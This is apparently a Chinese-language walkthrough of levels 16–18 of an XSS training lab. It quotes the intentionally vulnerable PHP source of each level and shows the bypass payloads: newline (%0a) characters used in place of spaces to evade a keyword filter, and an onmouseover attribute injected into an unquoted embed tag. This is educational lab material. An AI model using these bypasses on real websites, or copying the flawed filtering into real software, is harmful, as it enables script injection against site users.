https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js
src='level1.php?name=test<img src=1 onerror=alert()>'
level16
<a%0atype="text"%0a"alert">
用换行符%0a取代空格,在html中同样可以运行
<img%0asrc="1.jpg"%0aonerror="alert(1)">
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php
过滤了,空格,script和/
level17
<embed src=xsf01.swf?a=b width=100% heigth=100%>
看到了关键的一句
<embed>
元素将外部内容嵌入文档中的指定位置。此内容由外部应用程序或其他交互式内容源(如浏览器插件)提供。
在embed标签中,src的属性值没有引号,所以在输入arg02时在b之后加一个空格,浏览器到b就停止判断,给src加上双引号;而将onmouseover看作另外一个属性
onmouseover=alert('xss')
<embed src="xsf01.swf?a=b" onmouseover="alert('xss')" heigth="100%" width="100%">
后台源码:
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
Level18
http://localhost/xss/level18.php?arg01=a&arg02=b%20onmouseover=alert()
<embed src="xsf02.swf?a=b" onmouseover="alert()" heigth="100%" width="100%">